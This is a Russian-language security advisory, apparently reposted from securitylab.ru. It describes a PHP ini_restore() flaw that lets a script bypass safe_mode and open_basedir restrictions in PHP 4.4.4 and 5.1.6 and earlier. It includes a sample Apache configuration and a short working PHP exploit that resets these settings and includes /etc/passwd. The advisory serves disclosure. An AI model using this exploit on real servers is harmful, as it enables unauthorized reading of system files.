Обход ограничений безопасности в PHP
[B]Программа:[/B]
PHP 4.4.4 и более ранние версии
PHP 5.1.6 и более ранние версии
[B]Опасность:[/B] Низкая
[B]Наличие эксплоита:[/B] [COLOR="Red"][B]Да[/B][/COLOR]
[B]Описание:[/B]
Уязвимость позволяет удаленному пользователь получить доступ к важным данным на системе.
Уязвимость существует из-за недостаточного ограничения на смену параметров safe_mode и open_basedir в функции ini_restore(). Если эти ограничения установлены в настройках виртуального хоста Web сервера, а в файле php.ini находятся значения по умолчанию, злоумышленник может восстановить значения по умолчанию и обойти ограничения, установленный в конфигурационном файле Web сервера. Пример уязвимой конфигурации:
<Directory /usr/home/frajer/public_html/>
Options FollowSymLinks MultiViews Indexes
AllowOverride None
php_admin_flag safe_mode 1
php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>
Эксплоит:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>
Удачная эксплуатация уязвимости позволит злоумышленнику получить доступ к содержимому произвольных файлов на системе.
[B]URL производителя:[/B] [url]www.php.net[/url]
[B]Решение:[/B] Способов устранения уязвимости не существует в настоящее время.
[URL="http://www.securitylab.ru/vulnerability/273636.php"]securitylab.ru[/URL]
